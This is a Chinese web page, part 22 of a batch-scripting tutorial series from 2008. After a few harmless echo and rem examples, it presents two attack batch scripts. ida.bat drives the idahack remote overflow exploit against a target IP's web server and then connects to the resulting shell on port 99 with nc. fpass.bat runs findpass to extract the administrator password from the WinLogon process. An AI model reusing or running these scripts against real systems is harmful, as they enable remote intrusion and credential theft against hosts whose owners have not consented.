dedecms织梦内容管理系统      

--充电学院首页-- | --IT新闻与咨询-- | --电脑应用技术-- | --网络操作技巧-- | --软件硬件教程-- | --其他相关文章-- | --常用优秀软件-- | --桌面图片欣赏-- | --网络淘金技法-- | --媒体网站资源-- | --火狐专题介绍-- |

  当前位置:主页>精品资料收藏>文章内容
BAT教程全集(22)
来源: 作者:方舟 发布时间:2008-08-17  
stvista   ######################################################################
  4. 简单批处理文件概念
  ######################################################################
  echo This is test > a.txt
  type a.txt
  echo This is test 11111 >> a.txt
  type a.txt
  echo This is test 22222 > a.txt
  type a.txt
  第二个echo是追加
  第三个echo将清空a.txt 重新创建 a.txt
  netstat -n | find "3389"
  这个将要列出所有连接3389的用户的ip.
  ________________test.bat___________________________________________________
  @echo please care
  echo plese care 1111
  echo plese care 2222
  echo plese care 3333
  @echo please care
  @echo plese care 1111
  @echo plese care 2222
  @echo plese care 3333
  rem 不显示注释语句,本行显示
  @rem 不显示注释语句,本行不显示
  @if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
  @if exist %windir%system32fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
  ___________________________________________________________________________
  下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.
  ___________________ida.bat_________________________________________________
  @rem ver 1.0
  @if NOT exist %windir%system32idahack.exe echo "ERROR: dont find idahack.exe"
  @if NOT exist %windir%system32nc.exe echo "ERROR: dont find nc.exe"
  @if "%1" =="" goto USAGE
  @if NOT "%2" =="" goto SP2
  :start
  @echo Now start ...
  @ping %1
  @echo chinese win2k:1 sp1:2 sp2:3
  idahack.exe %1 80 1 99 >%temp%_tmp
  @echo "prog exit code [%errorlevel%] idahack.exe"
  @type %temp%_tmp
  @find "good luck :)" %temp%_tmp
  @echo "prog exit code [%errorlevel%] find [goog luck]"
  @if NOT errorlevel 1 nc.exe %1 99
  @goto END
  :SP2
  @idahack.exe %1 80 %2 99 %temp%_tmp
  @type %temp%_tmp
  @find "good luck :)" %temp%_tmp
  @if NOT errorlevel 1 nc.exe %1 99
  @goto END
  :USAGE
  @echo Example: ida.bat IP
  @echo Example: ida.bat IP (2,3)
  :END
  _____________________ida.bat__END_________________________________
  下面我们再来第二个文件.就是得到administrator的口令.
  大多数人说得不到.其实是自己的没有输入正确的信息.
  ___________________________fpass.bat____________________________________________
  @rem ver 1.0
  @if NOT exist %windir%system32findpass.exe echo "ERROR: dont find findpass.exe"
  @if NOT exist %windir%system32pulist.exe echo "ERROR: dont find pulist.exe"
  @echo start....
  @echo ____________________________________
  @if "%1"=="" goto USAGE
  @findpass.exe %1 %2 %3 >> %temp%_findpass.txt
  @echo "prog exit code [%errorlevel%] findpass.exe"
  @type %temp%_findpass.txt
  @echo ________________________________Here__pass★★★★★★★★
  @ipconfig /all >>%temp%_findpass.txt
  @goto END
  :USAGE
  @pulist.exe >%temp%_pass.txt
  @findstr.exe /i "WINLOGON explorer internat" %temp%_pass.txt
  @echo "Example: fpass.bat %1 %2 %3 %4 !!!"
  @echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"
  :END
  @echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
  @echo " fpass.bat end [%errorlevel%] !"
  _________________fpass.bat___END___________________________________________________________

[收藏] [推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
用户名: 新注册) 密码: 匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·主板跳线连接方法详解(4)
·DOS命令大全
·主板跳线连接方法详解(1)
·超级兔子魔法设置使用技巧大全(7
·主板跳线连接方法详解(2)
·ETL工具介绍
·手工破解php网站
·主板跳线连接方法详解(3)
·玩转电脑技巧大全(0)
·主板跳线连接方法详解(5)
·图解手把手教您装电脑(6)
·主板跳线连接方法详解(7)
  相关文章
·BAT教程全集(21)
·BAT教程全集(23)
·BAT教程全集(20)
·BAT教程全集(24)
·BAT教程全集(19)
·BAT教程全集(25)
·BAT教程全集(18)
·BAT教程全集(26)
·BAT教程全集(17)
·BAT教程全集(27)
·BAT教程全集(16)
·BAT教程全集(28)
  兴趣话题
·
·
·全国地图服务
网站为ZQF个人所有 Power by DedeCms 所有文章来自网络,如有冒犯,请email 或 qq告之,谢谢